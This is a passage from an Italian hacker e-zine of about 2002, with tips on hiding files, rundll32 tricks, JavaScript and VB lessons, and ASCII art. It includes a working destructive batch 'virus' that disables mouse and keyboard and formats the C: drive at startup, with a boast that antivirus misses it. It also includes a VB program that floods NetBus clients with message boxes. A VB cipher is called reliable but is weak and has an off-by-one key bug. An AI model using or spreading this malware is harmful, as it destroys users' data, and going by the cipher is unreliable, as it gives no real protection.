|che un nostro file si chiami " .bat". (nel caso della cartella non so proprio |
|come scriververlo :-)))) ). |
| |
|Dal Prompt di MsDos scrivete: |
| |
|md ALT+255 (premete ALT e con i tasti numerici sulla parte destra della tastiera|
|digitate 255). |
| |
|Ora tramite windows andate a vedere dove avete creato quella cartella. |
|Troverete una cartella SENZA NOME! |
|Provate adesso tramite DOS a vedere quella cartella, e nell'elenco troverete qcs|
|di simile ... |
| |
| . |
| .. |
| DOCUME~1 <DIR> 28/12/01 14.47 Documenti |
| PROGRA~1 <DIR> 28/12/01 14.33 Programmi |
| SBPCI <DIR> 28/12/01 14.53 SBPCI |
| BROWSER <DIR> 28/12/01 15.11 browser |
| cONFIG CTL 98 28/12/01 14.46 Config.ctl |
| VAL BAT 1.213 10/01/02 16.14 val.bat |
| CLEANERS <DIR> 28/12/01 15.13 cleaners |
| FIREWA~1 <DIR> 28/12/01 15.27 firewalls |
| CONFIG NTO 708 06/02/02 16.43 config.nto |
| MYDOWN~1 <DIR> 03/02/02 16.22 My Downloads |
| 200202 LOG 80 21/02/02 21.10 200202.log |
| <DIR> 21/02/02 21.34 |
| LOG TXT 0 21/02/02 21.36 log.txt |
| 16 file 117.290 byte |
| 16 dir Spazio disponibile 14.660.02 MB |
| |
|Vedete l'ultima cartella? |
|Ecco cosa si presenta tramite MsDos se creerete un nome simile. |
| |
|Vale la stessa medesima cosa con i FILE. |
|Basta che usiate come nome ALT+255 ! |
| |
|Divertitevi! |
+--------------------------------------------------------------------------------+
| |
| -=< 17 >=- IL MISTERO (O IL BUG?) DEL CESTINO BASTARDO |
| |
|Tempo fa, giocando un po' col DOS da ambiente Windows, ho scoperto una cosa |
|interessante. Se noi prendiamo un file da finestra di DOS e lo mettiamo diretta-|
|mente nel cestino Es: |
| |
| copy file.xxx c:\recycled |
| |
|e poi andiamo a vedere se in Windows il cestino è pieno, scopriamo che Windows |
|non rileva il file. |
|Solitamente ogni cosa che entra in c:\recycled (il cestino) viene prontamente |
|segnalata e l'icona del cestino cambia, diventando piena. |
| |
|Tramite DOS no! |
| |
|Possiamo spostare una incredibile quantità di files e cartelle nel cestino senza|
|che nessuno se ne accorga! E il bello è che anche riavviando, Windows non rileva|
|nulla! |
| |
|Questo trucco è testato su Windows95,98 e ME. Non so se funziona su NT 2000 o XP|
+--------------------------------------------------------------------------------+
| |
| -=< 18 >=- UN ESEMPIO DI BATCH CREATO DA ME |
| |
|TIP: quello che vedete dopo le "//" è un commento scritto per farvi capire, e |
|NON deve essere assolutamente inserito nel batch! |
| |
| @echo off |
| if exist c:\temp echo s | erase c:\temp\*.* > nul // ELIMINIAMO I TEMP |
| cd %temp% //ENTRIAMO NELLA DIRECTORY DEI FILES TEMPORANEI DI WINDOWS |
| echo s | erase *.* > nul //ELIMINIAMO TUTTO QUELLO CHE C'E' |
| cd\ |
| :init // QUA SI RITORNA DOPO UN "GOTO" |
| cls //PULIAMO LO SCHERMO |
| echo ==========================================================================|
| echo ======================= =|
| echo ======================= ====== ====== == == ====== ====== == == =|
| echo Dedicato ============= ====== ====== === == ====== == == = = =|
| echo =========== a chi ===== == == ==== == == == == ==== =|
| echo mi rende la ========== ====== ====== ===== == == == == == =|
| echo ============ vita ===== ====== ====== ======== == ====== == =|
| echo difficile ============ == == == ==== == == == == =|
| echo ========= [eViLVaL] === ====== ====== == === == == == == =|
| echo ======================= ====== ====== == == == == == == =|
| echo ======================= =|
| echo ==========================================================================|
| echo ================================================== ===================|
| echo =================================================== ====================|
| echo = ================ ==================|
| echo = 1. Netstat -na ============== == == ================|
| echo = 2. Netstat -r ========= == === === == ===========|
| echo = 3. Netstat -na infinito ========= ===========|
| echo = 4. Crea log delle connessioni ========= == === === == ===========|
| echo = 5. Telnet ============== == == ================|
| echo = 6. Esci ================ ==================|
| echo = ================== ====================|
| echo ================================================== ===================|
| echo ==========================================================================|
| choice Hai 10 secondi per scegliere. /c:123456 /t:6,10 |
| if errorlevel 6 goto end |
| if errorlevel 5 goto telnet |
| if errorlevel 4 goto log |
| if errorlevel 3 goto loop |
| if errorlevel 2 goto netr |
| if errorlevel 1 goto netna |
| |
| :netna |
| cls |
| echo. //LASCIAMO UNA RIGA VUOTA |
| echo [21=FTP, 25=SMTP, 80=HTML, 110=POP3, 137,8,9 NetBIOS, 1863=MESSENGER] |
| echo. |
| netstat -na |
| pause > nul //C'E' DA PREMERE UN TASTO PER ANDARE AVANTI, IN QUESTO MODO |
| goto init //TORNA SU A :INIT
|
| |
| :netr |
| cls |
| echo. |
| echo [21=FTP, 25=SMTP, 80=HTML, 110=POP3, 137,8,9 NetBIOS, 1863=MESSENGER] |
| echo. |
| netstat -r |
| pause > nul |
| goto init |
| |
| :loop |
| cls |
| echo Per terminare, premere Ctrl+C. |
| pause |
| netstat 6 |
| pause > nul |
| goto init |
| |
| :log |
| cls |
| echo. |
| echo Adesso creo un log delle connessioni. |
| netstat -na > log.txt // SCRIVIAMO LE CONNESSIONI IN UN FILE |
| netstat -r >> log.txt |
| pause > nul |
| goto init |
| |
| :telnet |
| cls |
| echo. |
| echo Premi INVIO per avviare TELNET. |
| pause > nul |
| telnet //APRIAMO TELNET RICHIAMANDOLO DA QUA |
| pause > nul |
| goto init |
| |
| :end |
| exit //FINE DELL'ESECUZIONE |
| |
|Questo non è nient'altro che un piccolo batch che permette di monitorare le |
|connessioni con poco sforzo da parte dell'utente. In piu' ha qualche utilità |
|come il fatto di aprire Telnet ecc ... |
| |
|Se volete usarlo, siete liberissimi di farlo! |
+--------------------------------------------------------------------------------+
| |
| -=< 19 >=- RUNDLL32 - LE FUNZIONI OCCULTATE |
| |
|C'è un componente fondamentale di Windows, chiamato RUNDLL, che di fatto è un |
|file importantissimo, ma del quale si conosce poco l'utilità. |
| |
|In ambiente DOS è possibile utilizzarlo per le cose piu impensabili, come per |
|esempio disabilitare mouse, tastiera, aprire una connessione telnet, NetMeeting |
|o simili diavolerie. |
| |
|Qua di seguito vi riporto quelli che ho scoperto in giro per la rete o spulcian-|
|do tra le impostazioni dei files in Win98. |
| |
|Disabilitazione di mouse e tastiera: |
| |
| rundll32 mouse,disable |
| rundll32 keyboard,disable |
| |
|Aprire GRAFICAMENTE delle cartelle |
| |
| rundll32.exe url.dll,FileProtocolHandler c:\cartella |
| |
|Aprire una connessione telnet |
| |
| rundll32.exe url.dll,TelnetProtocolHandler server.smtp.it:25 |
| |
|SPEGNERE il computer ( o riavviarlo, a seconda dei casi) |
| |
|rundll32 kernel,exitkernel |
| |
|Adesso che conoscete questi trucchi, fate pochi danni, eh :-) ? |
+--------------------------------------------------------------------------------+
| |
| -=< 20 >=- UNA MOSTRUOSITA' (bo0tDoWn.bat) |
| |
|Qua di seguito vi illustro un piccolo ma maligno virus che ho creato per sotter-|
|rare Windows98. Come sempre non sono responsabile delle pu##anate che farete :-)|
| |
|AVVISO IMPORTANTE ... |
|==[ NON toccate questo batch se non siete ASSOLUTAMENTE in grado di fermarlo,]==|
|====[ altrimenti niente e nessuno salverà il vostro PC dalla formattazione!]====|
| |
| @echo off |
| rundll32 mouse,disable |
| rundll32 keyboard,disable |
| echo @echo off > val.bat |
| echo rundll32 mouse,disable >> val.bat |
| echo rundll32 keyboard,disable >> val.bat |
| echo format c: /autotest >> val.bat |
| move val.bat c:\windows\menuav~1\progra~1\esecuz~1 > nul |
| rundll32 kernel,exitkernel |
| |
|Cosa fa sostanzialmente? |
|La prima riga beh ... lo sapete :-) |
|La seconda e la terza riga DISABILITANO il mouse e la tastiera. |
|La terza, la quarta, la quinta, la sesta riga creano un altro file .bat con |
|dei comandi ben precisi. |
|La settima muove il file appena creato nella cartella di esecuzione automatica |
|Windows, in modo da avviare il virus allo startup di Win. |
|L'ultima riga spegne il computer (o lo riavvia ... non ho ancora ben chiaro, ma |
|a volte su certi pc mi è capitato che si spenga o si riavvii). |
|Dov'è il danno? |
|Semplice, che disabilita mouse, tastiera all'inizio, poi riavvia il computer e |
|lo formatta automaticamente :-) |
+--------------------------------------------------------------------------------+
| |
| -=< 21 >=- TIRANDO LE SOMME |
| |
|Perchè scrivere dei virus via BATCH? |
|Semplice ... perchè non sono virus. |
|Un antivirus non troverà MAI un file .BAT che crea danni, poichè sono soltanto |
|degli "Innocui" comandi di DOS. |
| |
|Da notare è che un batch scritto su Windows95,98 o ME NON funzionerà in toto su |
|NT 2000 o XP. NT segue delle regole particolari, e i batch devono essere scritti|
|con altri criteri, che omettero' su questo tutorial. |
| |
| -=< eViLVaL >=- |
| |
|================================================================================|
|============================[the_harvester@libero.it]===========================|
|================================================================================|
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[02]=- |
| NetBusFucker AntLamer Bondo |
+--------------------------------------------------------------------------------+
| |
| _ _ |
| _| |_| ____ _ |
| __ _ _/_ _|_ _ _ ____| __| __| | _ ___ _ _ |
| | | \/ _ \ | \[ | | __] __| ] _\|/ | _ \ ^_| |
| | | __/ | | | | |__ | | | | (|_ < __/ | |
| [__|__]___]_]\___|__/[___/|_|__/\___/|\_|___]_] by bondo |
| |
| |
| Aiuto! Mi si è aperto il lettore cd... |
| |
+--------------------------------------------------------------------------------+
| |
|Ultimamente, c'è in giro molta (anzi, troppa) gente very lamer, che se ne va |
|allegramente scannando interi range di indirizzi ip sulla porta 12345, alla |
|ricerca di un povero ignaro e sfortunato computer con il NetBus che gira. |
| |
|Te ne puoi accorgere il sabato pomeriggio, quando il firewall ti segnala ogni |
|3x2 un tentativo di accesso su quella porta. |
| |
|Da quando è uscito il nuovo SubSeven, la tendenza di utilizzare NetBus è dimi- |
|nuita, anche se non si può certo dire che sia svanita. Poichè questa gentaglia |
|che occupa banda inutilmente si suppone voglia trovare un computer sul quale |
|fare un po' di danni, mi stà leggermente poco simpatica e visto che voglio vede-|
|re un computer crashato (eh già, pochi si accontentano di aprire lo sportellino |
|del cd - tanti cancellano pesante), perchè non crashargli proprio il loro? |
| |
|Dovete sapere che il server (vittima) può far comparire sul client (bastardo) un|
|message box, semplicemente inviandogli una stringa del tipo: |
| |
|Info;testodamandare |
| |
|La particolarità di queste message box è che finchè non le chiudi, non puoi sma-|
|nettare con il client del NetBus (se provate a cliccare nella finestra del |
|NetBus, windows si incazza e vi spara nelle casse il 'Ding.wav' di errore). |
| |
|E se io mandassi al client, che ne so, 100 message box così? Beh, lo stronzetto |
|di turno dovrebbe cliccare su Ok di tutte e 100 le finestrelle comparse prima di|
|poter utilizzare il NetBus. Diciamo che il numero di Info da mandare può essere |
|unsigned long a piacere', ovvero finchè crasha o chiude la connessione. |
| |
|Per fare tutto ciò, ho scritto un programmino che mi gira in background e se ne |
|stà in ascolto su quella cazzo di 12345 in attesa di qualcuno che voglia un po' |
|di finestrelle. |
| |
|Il funzionamento è semplicissimo: quando qualcuno di connette, gli manda la |
|stringa 'NetBus 1.60' che identifica la versione del server e specifica che non |
|è richiesta alcuna password. A questo punto, parte la routine di invio delle |
|finestrelle con la frasetta che avete pecificato. |
| |
|Da notare che dal vostro computer continueranno a uscire dati per il client del |
|trojan, quindi evitate cicli infiniti (while(1) non sono di norma ben tollerati)|
| |
|Il programma l'ho scritto in VB perchè avevo un po' fretta (fretta rulez!). |
| |
| Ecco il sorgente... |
| |
| Private Sub Command1_Click() |
| Form1.Visible = False |
| Winsock1.Close |
| Winsock1.Listen |
| End Sub |
| |
| Private Sub Form_Load() |
| Winsock1.LocalPort = 12345 |
| Winsock1.Listen |
| End Sub |
| |
| Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) |
| If (Winsock1.State <> sckClosed) Then Winsock1.Close |
| Winsock1.Accept requestID |
| Form1.Visible = True |
| Text1.Text = Winsock1.RemoteHostIP |
| Text2.Text = Winsock1.RemoteHost |
| Nukkka |
| End Sub |
| |
| Private Sub Nukkka() |
| welcome$ = "NetBus 1.60" |
| mabene$ = "Info;Benvenuto, lamer del cazzo!" + vbCrLf |
| Winsock1.SendData welcome$ |
| |
| For u = 0 To 100000 'long a piacere |
| Winsock1.SendData mabene$ |
| Next u |
| End Sub |
| |
| Private Sub Winsock1_Close() |
| Winsock1.Close |
| Winsock1.Listen |
| End Sub |
| |
| Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _ |
| ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _ |
| ByVal HelpContext As Long, CancelDisplay As Boolean) |
| Winsock1.Close |
| Winsock1.Listen |
| End Sub |
| |
+--------------------------------------------------------------------------------+
| |
| Io ho creato un form così: |
| |
| +---------------------------+ |
| | NetBusFucker by bondo |X|| |
| +---------------------------+ |
| | Il caro amico... | |
| | _________ __________ | |
| | |IP_______| |HOSTNAME__| | |
| | | |
| | ...ha ricevuto un po' di | |
| | di finestrelle. | |
| | _______________________ | |
| | | RESET | | |
| | |_______________________| | |
| +---------------------------+ |
| |
| [Vedere allegato NetBusFucker.zip] |
| |
+--------------------------------------------------------------------------------+
| |
|che compare solo quando qualcuno si connette e indica l'indirizzo ip e l'host |
|del lamerozzo. Per imboscare ancora il form e resettare la connessione, c'è il |
|pulsantino 'reset'. Ecco l'elenco completo dei componenti utilizzati: |
| |
| - text box: IP |
| - text box: HOSTNAME |
| - command button: RESET |
| - controllo OCX del winsock |
| - zucchero quanto basta |
| |
|capitto?! |
| |
+--------------------------------------------------------------------------------+
| |
| bye bye gente |
| |
| -.~.-([ bondo ])-.~ |
| bondo@marijuana.com |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[03]=- |
| Lezioni di JavaScript n° 1 -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| _ ____ _ _ |
| | | __ ___ ____ _/ ___| ___ _ __(_)_ __ | |_ |
| _ | |/ _` \ \ / / _` \___ \ / __| '__| | '_ \| __| |
| | |_| | (_| |\ V / (_| |___) | (__| | | | |_) | |_ |
| \___/ \__,_| \_/ \__,_|____/ \___|_| |_| .__/ \__| |
| |_| |
| A cura di: -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+
| |
|Benvenuti in questa serie di Lezioni sul JavaScript. Spero che siano abbastanza |
|esaurienti, in caso contrario scrivetemi e cercherò di rispondere alle vostre |
|domande... |
| |
|Comiciamo con questa prima Lezione... |
| |
|I sorgenti scritti in JavaScript possono essere scritti o in una Pagina Web o |
|in un file apparte con estensione .js |
| |
|Noi prenderemo in considerazione la prima Ipotesi, quindi tutte le istruzioni le|
|dovrete scrivere nei tag: (spero che abbiate una minima conoscenza dell'HTML...)|
| |
| <SCRIPT language="javascript"> |
| ***QUI' VA LO SCRIPT*** |
| </SCRIPT> |
| |
|Un esempio di Script potrebbe essere: |
| |
| document.write("Questo testo l'ho scritto con JavaScript!"); |
| |
|Inserendo questo codice un una pagina web, nel posto in cui verrà inserito ci |
|sarà la Scritta: Questo testo l'ho scritto con JavaScript! |
|Ricordatevi di inserirlo fra i tag <SCRIPT> e </SCRIPT> |
| |
+--------------------------------------------------------------------------------+
| |
|JavaScript come gli altri linguaggi di programmazione, anche se non lo si può |
|considerare tale poiché per funzionare uno script deve avere il supporto del |
|browser, può far uso di variabili. |
| |
|Le variabili sono molto semplici e ne esistono solo di un tipo. Si dichiarano: |
| |
| var nomevariabile |
| |
|E gli si da un valore con un'assegnazione. Esempio |
| |
| nomevariabile = "Ciao da -=(GicK)=-" |
| |
|Proviamo a modificare lo script di prima aggiungendo le righe: |
| |
| var nomevariabile |
| nomevariabile = "Ciao da -=(GicK)=-" |
| document.write("<br>"nomevariabile); |
| |
|E otterremo la scritta: |
| |
| Questo testo l'ho scritto con JavaScript |
| Ciao da -=(Gick)=- |
| |
|Come avrete notato la riga è andata a capo grazie all'istruzione html <br>, è |
|infatti possibile passare da JS anche parametri all'HTML! |
| |
|Fin qui non dovrebbero esserci problemi giusto??? |
| |
+--------------------------------------------------------------------------------+
| |
|Passiamo a qualcosa di più concreto... Ora parleremo del comando Prompt |
| |
|Aggiungete semre in coda al solito JS creato precedentemente le seguenti righe: |
| |
| var nome |
| nome=prompt("Inserisci il tuo nome","") |
| document.write("<br> Ciao " + nome); |
| |
|Ora eseguite la Pagina web e verrà visualizzato una finestra che vi chiederà di |
|inserire il vostro nome, fatelo e vederete scritto sulla pagina ciò che avete |
|inserito... |
| |
|Se siete stati attenti avrete notato che nel prompt dopo la srtinga "Inserisci |
|il tuo nome" c'è una virgoma e "". Se voi inserite tra quelle virgolette una |
|parola qualsiasi e riaprite la pagina, vedrete che nel Prompt ci sarà scritto |
|quello che avete scelto voi ma sarà comunque possibile modificarlo... |
| |
+--------------------------------------------------------------------------------+
| |
|Ora vedremo come creare delle finestre contenenti dei messaggi. |
| |
|Sempre in coda al vostro JS aggiungete: |
| |
| var nome2 |
| nome2 = prompt("Inserisci di nuovo il tuo nome", nome) |
| var conferma |
| conferma = confirm("Sei sicuro di chiamarti " + nome2 + " ?"); |
| if(conferma) |
| alert("Benvenuto " + nome2 + " !!!"); |
| else |
| alert("Ma non sai nemmeno come ti chiami???"); |
| |
|Quì vediamo l'uso di 3 nuovi comandi: confirm("") Crea una finestra con la pos- |
|sibilità di rispondere OK oppure Annulla e alert("") Crea una finestra con solo |
|il pulsante OK. |
| |
|Poi vediamo l'istruzione IF che in questo caso controlla che il valore della var|
|conferma sia true ovvero che sia stato cliccato OK e in quel caso da un alert in|
|caso contrario, ELSE da un'altro alert! |
| |
|Nell'IF si possono usare i seguenti operatori: |
| |
| var1 == var2 Vero se sono uguali |
| var1 > var2 Vero se la prima è maggiore della seconda |
| var1 < var2 Vero se la seconda è maggiore della prima |
| var1 >= var2 Vero se la prima è maggiore o uguale alla seconda |
| var1 <= var2 Vero se la prima è minore o uguale alla seconda |
| |
+--------------------------------------------------------------------------------+
| |
|Beh, per stavolta è tutto e ricordatevi di provare, provare e provare, è questo |
|il miglior metodo per imparare... |
|Alla prossima Lezione -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[04]=- |
| Criptare con Visual Basic Termo Zlorfik |
+--------------------------------------------------------------------------------+
| |
| Termo Zlorfik <zlorfik at hotmail dot com> |
| |
|Un semplice sistema di cifratura in vb (facile) che parla anche dei pokemon (per|
|la gioia di vostra sorellina :) by t3rm0 |
| |
+--------------------------------------------------------------------------------+
| |
| Premessa |
| |
|Ho appena connesso il mio commodore 64 al cervello perciò non aspettatevi niente|
|di speciale comunque il vecchio lettore floppy dovrebbe funzionare e carico il |
|mio sistema operativo... Il lettore dvd del commodore non funge, c'è qualcosa |
|che non va... musica ascoltata: d12, nirvana, methods of mayhem, fritz da cat il|
|tutto in winamp! |
| |
+--------------------------------------------------------------------------------+
| |
| Intro |
| |
|Beh volete un modo per cifrare i vostri file che sia veloce e affidabile (questo|
|è da vedere :)? Eccolo: Signore e signori "AGENT JENNY" che sarebbe l'agente |
|jenny dei pokemon :P. |
| |
+--------------------------------------------------------------------------------+
| |
| Teoria |
| |
|Questo sistema è a chiave privata, perciò sia il mittente che il destinatario |
|devono avere la stessa chiave... Il sistema si basa sulla somma della stringa |
|alla password. Si lo so che sembra un sistema scemo però il risultato c'è e c'è |
|anche modo di migliorarlo. Il carattere cifrato è la somma ascii del carattere |
|originale + un carattere della password che viene preso per successione. Se una |
|somma diventa + di 255 allora gli viene sottratto 255. |
| |
|Esempio: Dobbiamo cifrare una stringa "MASCIA HA LE TETTE GRANDI" con la pasword|
|"LALLA". Sommeremo M con L, A con A, S con L, C con L, A con A, e così via. |
|Quando i caratteri della password sono stati usati tutti ricominceremo dal primo|
| |
+--------------------------------------------------------------------------------+
| |
| Pratica |
| |
|Ecco il codice di VB con relative spiegazioni Cifratura |
| |
+----------------------------< Taglia qui>---------------------------------------+
| |
|Public Function Cifra(stringa, password) As String |
| Dim contatore1 as integer, contatore2 as integer, temp as integer |
| contatore2 = 1 |
| For contatore1 = 1 to len(stringa) |
| temp = asc(mid(stringa,contatore1,1)) + asc(mid(password,contatore2,1)) |
| if temp > 255 then temp = temp - 255 |
| contatore2 = contatore2 + 1 |
| if contatore2 = len(password) then contatore2 = 1 |
| cifra = cifra & chr(temp) |
| Next |
|End function |
| |
+-----------------------------< Taglia qui>--------------------------------------+
| |
|Con mid estraiamo un solo carattere da password e stringa. Con asc ne otteniamo |
|il codice numerico che andremo ad utilizzare per la somma. Quindi se abbiamo due|
|caratteri, 90 e 200, dovremo fare 90+200=290. Ma i codici ascii arrivano sino a |
|255 perciò a noi questo valore non va bene. Per ottenere un valore accettabile |
|facciamo 290-255=35. 35 è il codice del carattere cifrato che andremo a scrivere|
|Per ogni ciclo abbiamo il codice ascii del carattere da utilizzare memorizzato |
|nella variabile temp. Potremo trasformarlo in carattere con chr(temp). |
| |
+--------------------------------------------------------------------------------+
| |
| Decifratura |
| |
+-----------------------------< Taglia qui>--------------------------------------+
| |
|Public Function Decifra(stringa, password) As String |
| Dim contatore1 as integer, contatore2 as integer, temp as integer |
| contatore2 = 1 |
| For contatore1 = 1 to len(stringa) |
| temp = asc(mid(stringa,contatore1,1)) - asc(mid(password,contatore2,1)) |
| if temp < 0 then temp = temp + 255 |
| contatore2 = contatore2 + 1 |
| if contatore2 = len(password) then contatore2 = 1 |
| decifra = decifra & chr(temp) |
| Next |
|End function |
| |
+-----------------------------< Taglia qui>--------------------------------------+
| |
|Notiamo diverse similitudini con la routine di cifratura vista sopra. |
|Per riottenere il carattere originario abbiamo il carattere cifrato, 35, e il |
|carattere di password, 200. 35-200=-165, e ancora questo carattere non va bene, |
|perciò -165+255=90 ci ridarà il carattere che avevamo cifrato in alto (90+200, |
|vi ricordate?) |
|NB: Facciamo attenzione a maiuscole e minuscole nel digitare la password perché |
|i caratteri maiuscoli hanno un codice ascii diverso da quelli minuscoli! |
|Contenti ora sapete come realizzare un sistema di cifratura. Il mio "Agent |
|Jenny" e' funzionale ma ha ancora qualche piccolo difetto cmq sta a voi miglio- |
|rarlo! E ricorda: prendere ispirazione non è copiare! |
|Per chi volesse mailarmi il mio indirizzo è zlorfik@hotmail.com, e comunque tra |
|poco avrò un mio gruppo, non limitato ai soli guru ma aperto a chiunque abbia |
|voglia di collaborare, creare, divertirsi... vi farò avere notizie... |
| |
+--------------------------------------------------------------------------------+
| |
| Thx: |
| |
|Lord shinva, la tua guida e' un mito... |
|Cavallo ti va se ti lascio il mio windows 1.0 per trovare qualche bug? |
|Bill Gates, in fondo è un bravo ragazzo... Ciao tutto rego? |
|Tutti i bboy di cagliari.. i punk |
| |
|La mia ragazza Fede ciao tvvtrb! |
| |
+--------------------------------------------------------------------------------+
| |
| [Vedere allegato Encript.zip] |
| |
+--------------------------------------------------------------------------------+
____ __ _
/ ___|_ __ __ _ / _(_) ___ __ _
| | _| '__/ _` | |_| |/ __/ _` |
| |_| | | | (_| | _| | (_| (_| |
\____|_| \__,_|_| |_|\___\__,_|
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Grafica] -=[05]=- |
| Ascii-Art Salvo B |
+--------------------------------------------------------------------------------+
| |
| _______________________________________ |
| / \ |
| | | |
| | [*] Filename: ascii-art.txt | |
| | [*] Description: hints about the | |
| | ascii-art on linux and the aa-lib | |
| | [*] Author: Salvo B <salvob@emuita.it> | |
| | | |
| \_______________________________________/ |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Intro |
| |
|Innanzitutto vorrei presentami: sono Salvo`B non penso di avere niente di parti-|
|colare rispetto al resto degli esseri umani se non di essere particolarmente |
|portato per l'informatica e di avere una continua voglia di imparare tutti gli |
|aspetti di essa (non si finisce mai). |
|Non mi sembra il caso di stressarvi con le mie esperienze di hacking e non, non |
|sono il tipo ;), quindi vado subito al sodo evitando inutili disgressioni. |
| |
| Cos'è l'Ascii-Art??? |
| |
|Alcuni di voi sicuramente avranno sentito parlare del Codice Ascii, sarebbe lo |
|standard mondiale per la codifica di caratteri all'interno del computer, i ca- |
|ratteri vengono letti sotto forma di codici binari a 7 bit, quindi a ogni carat-|
|tere viene associato un numero binario da 7 cifre. |
|lo standardAascii comprende molti caratteri che vanno oltre lettere e numeri, |
|quindi simboli di vario genere. |
| |
|Avrete sicuramente visto da qualche parte una scritta come questa: |
| |
| ____ _ ____ |
|/ ___| __ _| |_ _____ | __ ) |
|\___ \ / _` | \ \ / / _ \ | _ \ |
| ___) | (_| | |\ V / (_) | | |_) | |
||____/ \__,_|_| \_/ \___/ |____/ |
| |
| |
|E' un modo originale per scrivere le cose utilizzando i caratteri ASCII, in |
|questo caso, qualche slash e qualche pipe (il pipe sarebbe questo |) puo' |
|permetterci di creare una scritta d'impatto :) |
| |
|E' nata poi una vera mania del fare questi disegnini, conosciuta come Ascii-art.|
| |
+--------------------------------------------------------------------------------+
| |
| [-] Cosa occorre? |
| |
|La risposta piu' logica a questa domanda sarebbe "la fantasia", ma si puo' |
|comunque fare ascii-art senza dovere sclerare con il vostro editor di testi |
|preferito. |
| |
|Infatti, esistono vari programmini in grado di creare simpatiche Ascii-Art, se |
|siete utenti Windows arrangiatevi perche' non so proprio che dirvi, se siete |
|utenti linux invece possiamo cominciare una lunga lista di tutto quello che si |
|puo' fare.. |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Semplici testi in Ascii |
| |
|Prima di tutto cito il famosissimo figlet, un programma per creare scritte in |
|Ascii come quella che v'ho fatto vedere prima.. ma come funziona? |
| |
|Niente di piu' semplice, basta procurarsi il programma (lo distribuiscono in |
|vari formati sia binari che sorgenti) e cominciare a smanettarci sopra. |
| |
|Quando avrete installato il programma digitate al prompt del vostro terminale |
|"figlet", a prima vista non succede nulla, ma se scrivete qualsiasi cosa... |
|magiaaa la cosa viene scitta a caratteri cubitali! |
| |
| bash-2.05# figlet |
| Microsoft Sux |
| __ __ _ __ _ ____ |
| | \/ (_) ___ _ __ ___ ___ ___ / _| |_ / ___| _ ___ __ |
| | |\/| | |/ __| '__/ _ \/ __|/ _ \| |_| __| \___ \| | | \ \/ / |
| | | | | | (__| | | (_) \__ \ (_) | _| |_ ___) | |_| |> < |
| |_| |_|_|\___|_| \___/|___/\___/|_| \__| |____/ \__,_/_/\_\ |
| |
|Zac, ecco compiuto il piccolo prodigio (ahaha abbiamo sgamato quelli che faceva-|
|no i fighi sulle e-zine ;) |
|Lo so che ti stai chiedendo, ma solo questo carattere merdoso esiste? Nooo |
|niente affatto, ci sono centinaia di fonts per figlet, ecco qualche esempio: |
| |
| @@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@ @@@@@@@@ @@@ |
| @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ |
| @@! @@@ @@! @@@ @@! @@@ @@! @@@ @@! @@@ @@! @@! |
| !@! @!@ !@! @!@ !@! @!@ !@! @!@ !@! @!@ !@! !@ |
| @!@ !@! @!@!!@! @!@!!@! @!@ !@! @!@!!@! @!!!:! @!@ |
| !@! !!! !!@!@! !!@!@! !@! !!! !!@!@! !!!!!: !!! |
| !!: !!! !!: :!! !!: :!! !!: !!! !!: :!! !!: |
| :!: !:! :!: !:! :!: !:! :!: !:! :!: !:! :!: :!: |
| ::::: :: :: ::: :: ::: ::::: :: :: ::: :: :::: :: |
| : : : : : : : : : : : : : : : : :: :: ::: |
| |
|Ma come si usano sti benedetti fonts??? |
| |
|Prima di tutto si scaricano, i file che contengono i fonts hanno estensione .flf|
|(figlet fotns penso) |
| |
| http://st-www.cs.uiuc.edu/~chai/figlet.html |
| oppure www.figlet.org |
| |
|Qua' ne trovate una catorfia (oltre a trovare il programma stesso) ora vi potete|
|sbizzarrire come meglio potete. |
| |
| |
| [PICCOLA NOTA] |
| Ora esiste anche la versione per windows (allegata alla zine) |
| [Vedere ellegato Figlet.zip] |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Non solo testo |
| |
|Bene, suppongo che siete esaltatini, ora potete mettere delle belle scrittine ai|
|vostri script in bash o ai vostri MOTD, fatto sta' che grazie alla mente malata |
|di qualcuno, l'Ascii-Art non si ferma qui. |
|Tenetevi ben saldi sulla vostra sediolina... |
|Un gruppo di ragazzi cecoslovacchi un giorno, tristi perche' non potevano vedere|
|un logo che avevano appena scaricato con la loro scheda video a due colori, |
|decisero di cominciare a scrivere una libreria che convertiva le immagini in |
|disegni Ascii! |
| |
|Fu cosi' che nacque una delle cose piu' fighe che abbia mai visto, la aa-lib. |
|di per se questa libreria non fa niente (come tutte le librerie) ma esistono |
|svariati programmi che la utilizzano come lettori di file video, visualizzatori |
|di immagini, giochi, ecc. Una lista completa la trovate sul sito ufficiale |
|(http://aa-project.sourceforge.net). |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Installazione delle librerie |
| |
|Quindi, niente di piu' facile, una volta scaricati gli ultimi sorgenti, |
|decomprimeteli: |
| |
| tar xvzf file_scaricato.tar.gz |
| |
|entrate nella cartella con i sorgenti |
| |
| cd aa-lib |
| |
|e date il comando per compilare (spero di non dovervelo spiegare) |
| |
| ./configure && make && make install |
| |
|se qualcosa non va siete proprio sfigati perche' queste librerie non richiedono |
|quasi nulla a parte un compilatore per essere installate correttamente (viste le|
|geniali scelte delle piu' recenti distribuzioni di linux se avete fatto l'in- |
|stallazione di default potreste anche NON trovarvi un compilatore installato) |
